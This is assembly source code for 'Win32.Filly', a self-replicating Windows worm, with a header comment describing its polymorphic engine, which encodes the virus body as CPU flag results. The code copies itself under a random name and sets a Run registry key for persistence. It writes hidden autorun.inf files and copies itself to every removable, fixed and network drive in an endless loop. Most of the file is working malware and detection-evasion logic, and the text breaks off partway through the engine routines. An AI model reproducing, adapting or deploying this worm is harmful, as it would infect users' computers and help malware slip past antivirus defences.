;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Win32.Filly ;; by SPTH ;; February 2012 ;; ;; ;; This is a worm which spreads via network/removable/USB drives. ;; ;; It uses a novel polymorphic engine, namely the virusbody is created ;; at runtime using flags. The virusbody does not exist in any encrypted ;; data or transformed code, but just appears as shadow of the execution of ;; some overlayed instruction-flow. ;; ;; Every nibble (half byte) of the virus is represented as a code which ;; sets or clears SF,AF,PF,CF. After the code snippet of one nibble is ;; executed, either LAHF or PUSHFD is used to get the flags. The flags ;; are saved in an allocated memory, which will be executed after ;; the reconstruction. ;; ;; It can use one out of 5 ways to fully determine SF,AF,PF,CF: ;; ;; 5 | 0+4 | 1+4 | 2+4 | 4+0 ;; ;; where each number represents a set of instruction with different behaviour ;; with respect to flags: ;; ;; 0: CF: ;; ROL, ROR ;; ;; 1: AF, CF (PF, SF undefined): ;; AAA, AAS ;; ;; 2: CF PF (AF undefined, SF undefined); ;; SHL, SHR, SAL, SAR ;; ;; 3: PF SF (AF undefined, CF undefined): ;; AND, XOR, TEST ;; ;; 4: AF PF SF: ;; DEC, INC ;; ;; 5: AF CF PF SF: ;; ADD, CMP, NEG, SUB ;; ;; All sets can be used as functional trash code, prior to the actual determining ;; instruction sets. Registers and type (Instr Reg1, Reg2 or Instr Reg1, NNNN) are ;; random in that case. ;; ;; For finding the correct composition of instruction and register values to get ;; the the desired flag combination, I use a semi-deterministic algorithm. This means ;; i give correct flag dependences, the the code goes in a loop searching randomly ;; for correct parameters - for each nibble of the code. In some cases, a desired ;; combination of flags can not be created with the choosen instruction - in that case ;; after 42 loops, an infinite-loop handler is called, which exits the loops and choses ;; another instruction to create the flag-combination. This procedere is unexpectedly ;; fast - in fact, even there are ~6100 random loops running, there is no noticeable ;; delay. ;; ;; The encrypted code-flow has a different size each generation. As its boring to code a ;; file size adjustment tool, I keep a constant filesize with following statistical ;; argument: In a set of 20 different files, I looked at the maximum size the used ;; code section: 175713, 175477, 175261, 175262, 177070, 176241, 177109, 175749, 172610, ;; 176471, 174657, 174682, 175275, 176186, 176004, 174359, 173549, 174638, 174684, 173893 bytes. ;; Average of the set: 175269 +/- 1148.65. ;; For padding, I used average + 7 sigma = 183'312. The probability that something ;; goes wrong is 1 / (390'682'215'445), while the probability that everything goes ;; right is 99.999999999744% - this is enough for my taste :) ;; ;; Now here you can see a generated code: ;; ;; 004020B5 . B8 A0AC599E MOV EAX,9E59ACA0 ;; 004020BA . C1E0 82 SHL EAX,82 ;; 004020BD . B8 A5AF1B60 MOV EAX,601BAFA5 ;; 004020C2 . 48 DEC EAX ;; 004020C3 . 9C PUSHFD ;; 004020C4 . 5A POP EDX ;; 004020C5 . 8817 MOV BYTE PTR DS:[EDI],DL ;; 004020C7 . 47 INC EDI ;; 004020C8 . B9 CBC5FCAC MOV ECX,ACFCC5CB ;; 004020CD . B8 550D859F MOV EAX,9F850D55 ;; 004020D2 . 29C1 SUB ECX,EAX ;; 004020D4 . 9C PUSHFD ;; 004020D5 . 58 POP EAX ;; 004020D6 . AA STOS BYTE PTR ES:[EDI] ;; 004020D7 . B8 CB5183AB MOV EAX,AB8351CB ;; 004020DC . B9 EEF33292 MOV ECX,9232F3EE ;; 004020E1 . D3C0 ROL EAX,CL ;; 004020E3 . BA 8B47E2EB MOV EDX,EBE2478B ;; 004020E8 . 4A DEC EDX ;; 004020E9 . 9F LAHF ;; 004020EA . 8827 MOV BYTE PTR DS:[EDI],AH ;; 004020EC . 47 INC EDI ;; 004020ED . BA F065255E MOV EDX,5E2565F0 ;; 004020F2 . B9 A5D9FA8B MOV ECX,8BFAD9A5 ;; 004020F7 . 01CA ADD EDX,ECX ;; 004020F9 . B8 8E0FB438 MOV EAX,38B40F8E ;; 004020FE . 3F AAS ;; 004020FF . BB 6B6AF3EA MOV EBX,EAF36A6B ;; 00402104 . B8 7B9CB043 MOV EAX,43B09C7B ;; 00402109 . 01C3 ADD EBX,EAX ;; 0040210B . 9F LAHF ;; 0040210C . 8827 MOV BYTE PTR DS:[EDI],AH ;; 0040210E . 47 INC EDI ;; ;; This code generates 2 bytes of the virus code. ;; ;; ;; ;; Thanks alot to hh86 for telling me about this non-standard code ;; representation she is working on, and for pointing out that LAHF ;; is actually *very* useful :) ;; ;; This is the second member of a new series of self-replicators: ;; - Win32.Kitti (overlapping code engine; in valhalla#1) ;; - Win32.Filly (code as shadow of overlayed instruction flow; in valhalla#2) ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include 'E:\Programme\FASM\INCLUDE\win32ax.inc' .data hMyFileName dd 0x0 hFileHandle dd 0x0 hMapHandle dd 0x0 hMapViewAddress dd 0x0 hFileCodeStart dd 0x0 RandomNumber dd 0x0 SpaceForHDC: dd 0x0 ; should be 0x0, C:\ RandomFileName: times 13 db 0x0 SpaceForHDC2: dd 0x0 ; should be 0x0, X:\ RandomFileName2:times 13 db 0x0 stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0 hKey dd 0x0 stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\" stAutoruninf: times 12 db 0x0 ; "autorun.inf" stAutoRunContent: times 52 db 0x0 hCreateFileAR dd 0x0 hCreateFileMappingAR dd 0x0 constFileSize EQU 185344 constCodeStart EQU 0x400 FlagMask db 0x0 ; S00A'0P1C MaskNibble0 EQU 0000'0001b MaskNibble1 EQU 0001'0001b MaskNibble2 EQU 0000'0101b MaskNibble3 EQU 1000'0100b MaskNibble4 EQU 1001'0100b MaskNibble5 EQU 1001'0101b MaskRandom EQU 0000'0000b ; no content - for trash VerifiedAddress dd 0x0 MyStartAddresse dd 0x0 NibbleData db 0x0 DecryptedCode dd 0x0 .code start: ; ########################################################################### ; ##### ; ##### Preparation (copy file, get kernel, ...) ; ##### StartEngine: call GetMyStartAddresse GetMyStartAddresse: pop eax sub eax, (GetMyStartAddresse-StartEngine) mov dword[MyStartAddresse], eax push 0x8007 stdcall dword[SetErrorMode] stdcall dword[GetCommandLineA] mov dword[hMyFileName], eax cmp byte[eax], '"' jne FileNameIsFine inc eax mov dword[hMyFileName], eax FindFileNameLoop: inc eax cmp byte[eax], '"' jne FindFileNameLoop mov byte[eax], 0x0 FileNameIsFine: stdcall dword[GetTickCount] mov dword[RandomNumber], eax xor esi, esi CopyFileAndRegEntryMore: mov ebx, 26 mov ecx, 97 call CreateSpecialRndNumber mov byte[RandomFileName+esi], dl inc esi cmp esi, 8 jb CopyFileAndRegEntryMore mov eax, ".exe" mov dword[RandomFileName+esi], eax mov al, "C" mov byte[SpaceForHDC+1], al mov al, ":" mov byte[SpaceForHDC+2], al mov al, "\" mov byte[SpaceForHDC+3], al push FALSE push SpaceForHDC+1 push dword[hMyFileName] stdcall dword[CopyFileA] ; ##### ; ##### Preparation (copy file, get kernel, ...) ; ##### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Open New File ; ##### push 0x0 push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS push 0x0 push 0x0 push (GENERIC_READ or GENERIC_WRITE) push SpaceForHDC+1 stdcall dword[CreateFileA] cmp eax, INVALID_HANDLE_VALUE je IVF_NoCreateFile mov dword[hFileHandle], eax push 0x0 push constFileSize push 0x0 ; nFileSizeHigh=0 from above push PAGE_READWRITE push 0x0 push dword[hFileHandle] stdcall dword[CreateFileMappingA] cmp eax, 0x0 je IVF_NoCreateMap mov dword[hMapHandle], eax push constFileSize push 0x0 push 0x0 push FILE_MAP_WRITE push dword[hMapHandle] stdcall dword[MapViewOfFile] cmp eax, 0x0 je IVF_NoMapView mov dword[hMapViewAddress], eax ; ##### ; ##### Open New File ; ##### ; ########################################################################### call DoNibbleTrafo ; ########################################################################### ; ##### ; ##### Close New File ; ##### IVF_CloseMapView: push dword[hMapViewAddress] stdcall dword[UnmapViewOfFile] IVF_NoMapView: push dword[hMapHandle] stdcall dword[CloseHandle] IVF_NoCreateMap: push dword[hFileHandle] stdcall dword[CloseHandle] IVF_NoCreateFile: ; ##### ; ##### Close New File ; ##### ; ########################################################################### ; invoke ExitProcess, 0 ; ########################################################################### ; ##### ; ##### Spread this kitty ;) ; ##### SpreadKitty: ; Representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ; One could permute it - but too lazy for doing this task atm :) mov eax, stKey mov dword[eax+0x00], "SOFT" mov dword[eax+0x04], "WARE" mov dword[eax+0x08], "\Mic" mov dword[eax+0x0C], "roso" mov dword[eax+0x10], "ft\W" mov dword[eax+0x14], "indo" mov dword[eax+0x18], "ws\C" mov dword[eax+0x1C], "urre" mov dword[eax+0x20], "ntVe" mov dword[eax+0x24], "rsio" mov dword[eax+0x28], "n\Ru" mov byte[eax+0x2C], "n" push 0x0 push hKey push 0x0 push KEY_ALL_ACCESS push REG_OPTION_NON_VOLATILE push 0x0 push 0x0 push stKey push HKEY_LOCAL_MACHINE stdcall dword[RegCreateKeyExA] push 16 push SpaceForHDC+1 push REG_SZ push 0x0 push 0x0 push dword[hKey] stdcall dword[RegSetValueExA] push dword[hKey] stdcall dword[RegCloseKey] xor eax, eax mov dword[stAutorunWithDrive], "X:\a" mov dword[stAutorunWithDrive+2], "\aut" mov dword[stAutoruninf+3], "orun" mov dword[stAutoruninf+7], ".inf" mov dword[stAutoRunContent], "[Aut" mov dword[stAutoRunContent+0x04], "orun" mov dword[stAutoRunContent+0x08], 0x530A0D5D mov dword[stAutoRunContent+0x0C], "hell" ; !!!!!!! mov dword[stAutoRunContent+0x10], "Exec" mov dword[stAutoRunContent+0x14], "ute=" mov eax, dword[RandomFileName] ; Filename: XXXXxxxx.exe mov dword[stAutoRunContent+0x18], eax mov eax, dword[RandomFileName+0x4] ; Filename: xxxxXXXX.exe mov dword[stAutoRunContent+0x1C], eax mov dword[stAutoRunContent+0x20], ".exe" mov dword[stAutoRunContent+0x24], 0x73550A0D mov dword[stAutoRunContent+0x28], "eAut" mov dword[stAutoRunContent+0x2C], "opla" mov dword[stAutoRunContent+0x30], 0x00313D79 ; i like that coding style, roy g biv! :)) push 51 push 0x0 push 0x0 push FILE_MAP_ALL_ACCESS push 0x0 push 51 push 0x0 push PAGE_READWRITE push 0x0 push 0x0 push FILE_ATTRIBUTE_HIDDEN push OPEN_ALWAYS push 0x0 push 0x0 push (GENERIC_READ or GENERIC_WRITE) push stAutoruninf stdcall dword[CreateFileA] push eax mov dword[hCreateFileAR], eax stdcall dword[CreateFileMappingA] push eax mov dword[hCreateFileMappingAR], eax stdcall dword[MapViewOfFile] xor cl, cl mov esi, stAutoRunContent MakeAutoRunInfoMore: mov bl, byte[esi] mov byte[eax], bl inc eax inc esi inc ecx cmp cl, 51 jb MakeAutoRunInfoMore sub eax, 51 push dword[hCreateFileAR] push dword[hCreateFileMappingAR] push eax stdcall dword[UnmapViewOfFile] stdcall dword[CloseHandle] stdcall dword[CloseHandle] mov dword[SpaceForHDC2+1], "A:\." mov eax, dword[RandomFileName] mov dword[RandomFileName2], eax ; XXXXxxxx.exe mov eax, dword[RandomFileName+0x04] mov dword[RandomFileName2+0x04], eax ; xxxxXXXX.exe mov eax, dword[RandomFileName+0x08] mov dword[RandomFileName2+0x08], eax ; .exe SpreadKittyAnotherTime: mov dword[SpaceForHDC2], 0x003A4100 ; 0x0, "A:", 0x0 STKAnotherRound: push SpaceForHDC2+1 stdcall dword[GetDriveTypeA] xor ebx, ebx ; 0 ... No Drive ; 1 ... Drive (without autorun.inf) ; 2 ... Drive (with autorun.inf) mov cl, '\' mov byte[SpaceForHDC2+3],cl cmp al, 0x2 je STKWithAutoRun cmp al, 0x3 je STKWithoutAutoRun cmp al, 0x4 je STKWithAutoRun cmp al, 0x6 je STKWithAutoRun jmp STKCreateEntriesForNextDrive STKWithAutoRun: push FALSE push stAutorunWithDrive push stAutoruninf stdcall dword[CopyFileA] STKWithoutAutoRun: push FALSE push SpaceForHDC2+1 push SpaceForHDC+1 stdcall dword[CopyFileA] STKCreateEntriesForNextDrive: xor eax, eax mov al, byte[SpaceForHDC2+1] cmp al, "Z" je SpreadThisKittyEnd inc al mov byte[SpaceForHDC2+1], al ; next drive mov byte[stAutorunWithDrive], al ; next drive mov byte[SpaceForHDC2+3], ah ; 0x0, "X:", 0x0 jmp STKAnotherRound SpreadThisKittyEnd: call GetRandomNumber mov eax, dword[RandomNumber] and eax, (0x8000 - 1) ; 0-32 sec push eax stdcall dword[Sleep] call GetRandomNumber mov eax, dword[RandomNumber] and eax, (0x100-1) jnz SpreadKittyAnotherTime jmp SpreadKittyAnotherTime ; ##### ; ##### Spread this kitty ;) ; ##### ; ########################################################################### DoNibbleTrafo: mov edi, dword[hMapViewAddress] add edi, constCodeStart ;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; First create the VirtualAlloc code and save the value ;; virtual at 0 ; cool FASM feature: ; this compiles code virtually ; and one can use variables to access it ; ideal for our purpose :) invoke VirtualAlloc, 0x0, 100'000, 0x1000, PAGE_EXECUTE_READWRITE mov dword[DecryptedCode], eax xchg edi, eax mov edi, edi ; just for padding... ; uuhh, do we know this instruction? ;) load iVirtualCodeA dword from 0 load iVirtualCodeB dword from 4 load iVirtualCodeC dword from 8 load iVirtualCodeD dword from 12 load iVirtualCodeE dword from 16 load iVirtualCodeF dword from 20 load iVirtualCodeG dword from 24 ; i hate "word", 2byte data-types. end virtual ; they are just unelegant... mov dword[edi+00], iVirtualCodeA mov dword[edi+04], iVirtualCodeB mov dword[edi+08], iVirtualCodeC mov dword[edi+12], iVirtualCodeD mov dword[edi+16], iVirtualCodeE mov dword[edi+20], iVirtualCodeF mov dword[edi+24], iVirtualCodeG add edi, 26 mov dword[VerifiedAddress], edi ;; ;; First create the VirtualAlloc code and save the value ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Now create the whole representation of the code in form of flags ;; of some other random code ( main engine ) ;; mov esi, dword[MyStartAddresse] CreateCodeForAllBytes: mov al, byte[esi] mov byte[NibbleData], al and byte[NibbleData], 0000'1111b push esi call CreateCodeForNibble pop esi mov al, byte[esi] shr al, 4 ; get the second nibble of this byte mov byte[NibbleData], al and byte[NibbleData], 0000'1111b push esi call CreateCodeForNibble pop esi inc esi mov ebx, dword[MyStartAddresse] add ebx, (WholeCodeEnd-StartEngine) cmp esi, ebx jne CreateCodeForAllBytes ;; ;; Now create the whole representation of the code in form of flags ;; of some other random code ( main engine ) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; In the end, rearrange the information to extract the viral code ;; virtual at 0 mov ecx, dword[DecryptedCode] mov edx, ecx ReorganizeMore: mov bh, byte[ecx] inc ecx push 0 ; Some PIC workaround :) jmp Decrypt ReorganizeFirstNibbleBack: and al, 0000'1111b push eax mov bh, byte[ecx] inc ecx push 1 jmp Decrypt ReorganizeSecondNibbleBack: and al, 0000'1111b shl al, 4 pop ebx add al, bl mov byte[edx], al inc edx mov eax, dword[DecryptedCode] add eax, (WholeCodeEnd-StartEngine) cmp edx, eax jne ReorganizeMore jmp dword[DecryptedCode] Decrypt: ; in: bh=S00A'0P1C ; out: al=0000'SAPC mov al, bh ; al=S00A'0P1C and al, 0000'0001b ; al=0000'000C shr bh, 1 ; bh=0S00'A0P1 push ebx and bh, 0000'0010b ; bh=0000'00P0 add al, bh ; al=0000'00PC pop ebx ; bh=0S00'A0P1 shr bh, 1 ; bh=00S0'0A0P push ebx and bh, 0000'0100b ; bh=0000'0A00 add al, bh ; al=0000'0APC pop ebx ; bh=00S0'0A0P shr bh, 2 ; bh=0000'S00A and bh, 0000'1000b ; bh=0000'S000 add al, bh ; al=0000'SAPC pop ebx test ebx, ebx jz ReorganizeFirstNibbleBack jmp ReorganizeSecondNibbleBack load cVirtualCodeA dword from 0 ; Most likely there is a more elegant load cVirtualCodeB dword from 4 ; way to handle this requirement load cVirtualCodeC dword from 8 ; using a FASM macro. load cVirtualCodeD dword from 12 load cVirtualCodeE dword from 16 ; But i couldnt find one - tell me load cVirtualCodeF dword from 20 ; if you know a way to copy data load cVirtualCodeG dword from 24 ; to a memory addresse from a load cVirtualCodeH dword from 28 ; virtual compilation space. load cVirtualCodeI dword from 32 load cVirtualCodeJ dword from 36 load cVirtualCodeK dword from 40 load cVirtualCodeL dword from 44 load cVirtualCodeM dword from 48 load cVirtualCodeN dword from 52 load cVirtualCodeO dword from 56 load cVirtualCodeP dword from 60 load cVirtualCodeQ dword from 64 load cVirtualCodeR dword from 68 load cVirtualCodeS dword from 72 load cVirtualCodeT dword from 76 load cVirtualCodeU dword from 80 load cVirtualCodeV dword from 84 load cVirtualCodeW dword from 88 load cVirtualCodeX byte from 92 end virtual mov dword[edi+00], cVirtualCodeA mov dword[edi+04], cVirtualCodeB mov dword[edi+08], cVirtualCodeC mov dword[edi+12], cVirtualCodeD mov dword[edi+16], cVirtualCodeE mov dword[edi+20], cVirtualCodeF mov dword[edi+24], cVirtualCodeG mov dword[edi+28], cVirtualCodeH mov dword[edi+32], cVirtualCodeI mov dword[edi+36], cVirtualCodeJ mov dword[edi+40], cVirtualCodeK mov dword[edi+44], cVirtualCodeL mov dword[edi+48], cVirtualCodeM mov dword[edi+52], cVirtualCodeN mov dword[edi+56], cVirtualCodeO mov dword[edi+60], cVirtualCodeP mov dword[edi+64], cVirtualCodeQ mov dword[edi+68], cVirtualCodeR mov dword[edi+72], cVirtualCodeS mov dword[edi+76], cVirtualCodeT mov dword[edi+80], cVirtualCodeU mov dword[edi+84], cVirtualCodeV mov dword[edi+88], cVirtualCodeW mov byte[edi+92], cVirtualCodeX ;; ;; In the end, rearrange the information to extract the viral code ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;; ret CreateCodeForNibble: ; 5 possible algos: ; -> 5 ; -> 0+4 | 1+4 |2+4 ; -> 4+0 CreateCodeBeginTrash: call GetRandomNumber test byte[RandomNumber+1], 0000'0011b jnz DoNibbleFindAlgo_NoTrashBegin mov byte[FlagMask], MaskRandom mov bl, byte[RandomNumber+2] call GetRandomNumber mov al, byte[RandomNumber] and al, 0000'0111b jz GC_Trash_Not0 call GenerateNibble0 jmp CreateCodeBeginTrash GC_Trash_Not0: dec al jz GC_Trash_Not1 call GenerateNibble1 jmp CreateCodeBeginTrash GC_Trash_Not1: dec al jz GC_Trash_Not2 call GenerateNibble2 jmp CreateCodeBeginTrash GC_Trash_Not2: dec al jz GC_Trash_Not3 call GenerateNibble3 jmp CreateCodeBeginTrash GC_Trash_Not3: dec al jz GC_Trash_Not4 call GenerateNibble4 jmp CreateCodeBeginTrash GC_Trash_Not4: dec al jz CreateCodeBeginTrash call GenerateNibble5 jmp CreateCodeBeginTrash DoNibbleFindAlgo_NoTrashBegin: DoNibbleNewRnd: call GetRandomNumber mov al, byte[RandomNumber] and al, 0000'0111b cmp al, 4 ja DoNibbleNewRnd test al, -1 jnz DoNibbleFindAlgoNot5 ; -> 5 mov byte[FlagMask], MaskNibble5 mov bl, byte[NibbleData] call GenerateNibble5 jmp DoNibbleFinalize DoNibbleFindAlgoNot5: dec al jnz DoNibbleFindAlgoNot04 ; -> 0+4 mov byte[FlagMask], MaskNibble0 mov bl, byte[NibbleData] call GenerateNibble0 mov byte[FlagMask], MaskNibble4 mov bl, byte[NibbleData] call GenerateNibble4 jmp DoNibbleFinalize DoNibbleFindAlgoNot04: dec al jnz DoNibbleFindAlgoNot14 ; -> 1+4 mov byte[FlagMask], MaskNibble5 ; need to clear AF first, mov bl, byte[RandomNumber+3] ; otherwise AAA/AAS influence CF and bl, 0000'1011b ; clear AF call GenerateNibble5 mov byte[FlagMask], MaskNibble1 mov bl, byte[NibbleData] call GenerateNibble1 mov byte[FlagMask], MaskNibble4 mov bl, byte[NibbleData] call GenerateNibble4 jmp DoNibbleFinalize DoNibbleFindAlgoNot14: dec al jnz DoNibbleFindAlgoNot24 ; -> 2+4 mov byte[FlagMask], MaskNibble2 mov bl, byte[NibbleData] call GenerateNibble2 mov byte[FlagMask], MaskNibble4 mov bl, byte[NibbleData] call GenerateNibble4 jmp DoNibbleFinalize DoNibbleFindAlgoNot24: ; -> 4+0 mov byte[FlagMask], MaskNibble4 mov bl, byte[NibbleData] call GenerateNibble4 mov byte[FlagMask], MaskNibble0 mov bl, byte[NibbleData] call GenerateNibble0 ; jmp DoNibbleFinalize DoNibbleFinalize: call GetRandomNumber test byte[RandomNumber], 0001'0000b ; LAHF or PUSHFD+POP? jnz DoNF_PUSHFD mov byte[edi], 0x9F ; LAHF inc edi test byte[RandomNumber], 0000'1000b jnz DoNibbleFin_AH test byte[RandomNumber], 0000'0010b jnz DoNibbleFinAL_2 mov byte[edi+00], 0x88 mov byte[edi+01], 0xE0 ; mov al, ah jmp DoNibbleFinAL_2_X DoNibbleFinAL_2: mov byte[edi+00], 0x86 mov byte[edi+01], 0xC4 ; xchg ah, al test byte[RandomNumber], 0000'0100b jnz DoNibbleFinAL_2_X mov byte[edi+01], 0xE0 ; xchg al, ah DoNibbleFinAL_2_X: mov byte[edi+02], 0xAA ; stos add edi, 3 jmp DoNibbleEnd DoNibbleFin_AH: mov byte[edi+00], 0x88 mov byte[edi+01], 0x27 ; mov byte[edi], ah mov byte[edi+02], 0x47 ; inc edi (thx hh86 :D) add edi, 3 jmp DoNibbleEnd DoNF_PUSHFD: mov byte[edi], 0x9C ; pushfd inc edi test byte[RandomNumber], 0100'0000b jnz DoNF_PUSHFD_AL mov al, byte[RandomNumber] and al, 0000'0011b add al, 0x58 mov byte[edi+00], al ; pop e(a|c|d|b)x mov byte[edi+01], 0x88 and al, 0000'0011b shl al, 3 or al, 0000'0111b mov byte[edi+02], al ; mov byte[edi], (a|c|d|b)l mov byte[edi+03], 0x47 ; inc edi (thx hh86 :D) add edi, 4 jmp DoNibbleEnd DoNF_PUSHFD_AL: mov byte[edi+00], 0x58 ; pop eax mov byte[edi+01], 0xAA ; stos add edi, 2 ; jmp DoNibbleEnd DoNibbleEnd: mov dword[VerifiedAddress], edi ret ; ########################################################################### ; ##### ; ##### Generate Nibbles ; ##### ; ########################################################################### ; ##### Nibble 0: CF - (ROL, ROR) GenerateNibble0: ; edi ... pointer in filecode ; bl & 0000'1111b ... nibble to generate ; ebp: ; 0 ... rol Reg, 1 ; 1 ... rol Reg, cl ; 3 ... ror Reg, cl call InformationToFlagByte ; bh=flag byte GN0_GetTypeAgain: call GetRandomNumber mov ebp, dword[RandomNumber] and ebp, 0000'0011b cmp ebp, 2 je GN0_GetTypeAgain push 0 ; loop counter GN0_CF_loop: ; rol Reg, 1 pop ecx inc ecx push ecx cmp ecx, 0x2A ja GN_PossibleInfinitLoop GN0_CF_GetAnotherCL: call GetRandomNumber mov ecx, dword[RandomNumber] test ecx, 0001'1111b ; shiftcount must not be zero jz GN0_CF_GetAnotherCL call GetRandomNumber mov eax, dword[RandomNumber] push eax cmp ebp, 0 jne GN0_CF_loop_ROLN rol eax, 1 jmp GN0_CF_loop_LAHF GN0_CF_loop_ROLN: ; rol Reg, N/cl cmp ebp, 1 jne GN0_CF_loop_RORN rol eax, cl jmp GN0_CF_loop_LAHF GN0_CF_loop_RORN: ; ror Reg, N/cl ror eax, cl ; jmp GN0_CF_loop_LAHF GN0_CF_loop_LAHF: lahf pop edx and ah, byte[FlagMask] and bh, byte[FlagMask] cmp ah, bh jne GN0_CF_loop pop eax ; remove counter GN0_GetDifferentRegister: call GetRandomNumber mov eax, dword[RandomNumber] and al, 0000'0011b cmp al, 0000'0001b je GN0_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) ) or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx) mov byte[edi], al inc edi mov dword[edi], edx add edi, 4 push ebp and ebp, 0000'0001b pop ebp jnz GN0_CFN ; is it "rotate Reg, 1" ? mov byte[edi], 0xD1 inc edi and al, 0000'0011b cmp ebp, 0 jne GN0_CF_CreateCode_ROR add al, 0xC0 jmp GN0_CF_CreateCode_done GN0_CF_CreateCode_ROR: add al, 0xC8 GN0_CF_CreateCode_done: mov byte[edi], al inc edi jmp GN0_CF_End GN0_CFN: mov byte[edi], 0xB9 inc edi mov dword[edi], ecx add edi, 4 mov byte[edi], 0xD3 inc edi and al, 0000'0011b and ebp, 0000'0010b jnz GN0_CFN_ROR add al, 0xC0 jmp GN0_CF_Write_End GN0_CFN_ROR: add al, 0xC8 GN0_CF_Write_End: mov byte[edi], al inc edi GN0_CF_End: mov dword[VerifiedAddress], edi ret ; ##### Nibble 0: CF - (ROL, ROR) ; ########################################################################### ; ########################################################################### ; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS) GenerateNibble1: ; edi ... pointer in filecode ; bl & 0000'1111b ... nibble to generate call InformationToFlagByte ; bh=flag byte call GetRandomNumber mov ebp, dword[RandomNumber] and ebp, 0000'0001b push 0 ; loop counter GN1_Loop: pop eax inc eax push eax cmp eax, 0x2A ja GN_PossibleInfinitLoop call GetRandomNumber mov eax, dword[RandomNumber] push eax cmp ebp, 0 ; this instruction clears AF. Thats important because jne GN1_Aaa ; AAA and AAS depend on AF, and influence CF depending on it. aas jmp GN1_LAHF GN1_Aaa: aaa jmp GN1_LAHF GN1_LAHF: pop edx lahf and ah, byte[FlagMask] and bh, byte[FlagMask] cmp ah, bh jne GN1_Loop pop eax ; remove counter mov byte[edi], 0xB8 inc edi mov dword[edi], edx ; mov Reg1, NUMBER add edi, 4 cmp ebp, 0 jne GN1_WriteAaa mov byte[edi], 0x3F inc edi jmp GN1_Fin GN1_WriteAaa: mov byte[edi], 0x37 inc edi GN1_Fin: mov dword[VerifiedAddress], edi ret ; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS) ; ########################################################################### ; ########################################################################### ; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR) GenerateNibble2: ; edi ... pointer in filecode ; bl & 0000'1111b ... nibble to generate ; ebp: ; 0 ... shl Reg, 1 ; 1 ... shl Reg, N/cl ; 4 ... sal Reg, 1 ; 5 ... sal Reg, N/cl ; 7 ... sar Reg, N/cl call InformationToFlagByte ; bh=flag byte GN2_GetTypeAgain: call GetRandomNumber mov ebp, dword[RandomNumber] and ebp, 0000'0111b cmp ebp, 2 je GN2_GetTypeAgain cmp ebp, 3 je GN2_GetTypeAgain cmp ebp, 6 je GN2_GetTypeAgain push 0 ; counter GN2_Shift_loop: ; shl Reg, 1 pop ecx inc ecx push ecx cmp ecx, 0x2A ja GN_PossibleInfinitLoop call GetRandomNumber mov ecx, dword[RandomNumber] GN2_CF_GetAnotherCL: call GetRandomNumber mov ecx, dword[RandomNumber] test ecx, 0001'1111b ; shiftcount must not be zero jz GN2_CF_GetAnotherCL call GetRandomNumber mov eax, dword[RandomNumber] push eax cmp ebp, 0 jne GN2_Shift_loop_SHLN shl eax, 1 jmp GN2_Shift_loop_LAHF GN2_Shift_loop_SHLN: ; shl Reg, N/cl cmp ebp, 1 jne GN2_Shift_loop_SAL1 shl eax, cl jmp GN2_Shift_loop_LAHF GN2_Shift_loop_SAL1: ; sal Reg, 1 cmp ebp, 4 jne GN2_Shift_loop_SALN sal eax, 1 jmp GN2_Shift_loop_LAHF GN2_Shift_loop_SALN: ; sal Reg, N cmp ebp, 5 jne GN2_Shift_loop_SARN sal eax, cl jmp GN2_Shift_loop_LAHF GN2_Shift_loop_SARN: ; sar Reg, N sar eax, cl ; jmp GN3_Shift_loop_LAHF GN2_Shift_loop_LAHF: lahf pop edx and ah, byte[FlagMask] and bh, byte[FlagMask] cmp ah, bh jne GN2_Shift_loop pop eax ; remove counter GN2_GetDifferentRegister: call GetRandomNumber mov eax, dword[RandomNumber] and al, 0000'0011b cmp al, 0000'0001b je GN2_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) ) or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, edx) mov byte[edi], al inc edi mov dword[edi], edx add edi, 4 push ebp and ebp, 0000'0001b pop ebp jnz GN2_ShiftN ; is it "shift Reg, 1" ? mov byte[edi], 0xD1 inc edi and al, 0000'0011b cmp ebp, 0 jne GN2_Shift_CreateCode_SAL add al, 0xE0 jmp GN2_Shift_CreateCode_done GN2_Shift_CreateCode_SAL: cmp ebp, 4 jne GN2_Shift_CreateCode_SAR add al, 0xF0 jmp GN2_Shift_CreateCode_done GN2_Shift_CreateCode_SAR: add al, 0xF0 GN2_Shift_CreateCode_done: mov byte[edi], al inc edi jmp GN2_Shift_End GN2_ShiftN: and al, 0000'0011b cmp ebp, 1 jne GN2_ShiftNum_NotShl add al, 0xE0 ; shl jmp GN2_ShiftNum_WriteNow GN2_ShiftNum_NotShl: cmp ebp, 5 jne GN2_ShiftNum_NotSal add al, 0xF0 ; sal jmp GN2_ShiftNum_WriteNow GN2_ShiftNum_NotSal: add al, 0xF8 ; sar ; jmp GN2_ShiftNum_WriteNow GN2_ShiftNum_WriteNow: call GetRandomNumber mov ah, byte[RandomNumber] ; 0 ... shift Reg, NNNN ; 1 ... shift Reg, cl and ah, 0000'0001b jz GN2_Shift_Num mov byte[edi], 0xB9 ; mov ecx, ... inc edi mov dword[edi], ecx add edi, 4 mov byte[edi], 0xD3 inc edi mov byte[edi], al inc edi jmp GN2_Shift_End GN2_Shift_Num: mov byte[edi], 0xC1 inc edi mov byte[edi], al inc edi mov byte[edi], cl inc edi GN2_Shift_End: mov dword[VerifiedAddress], edi ret ; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR) 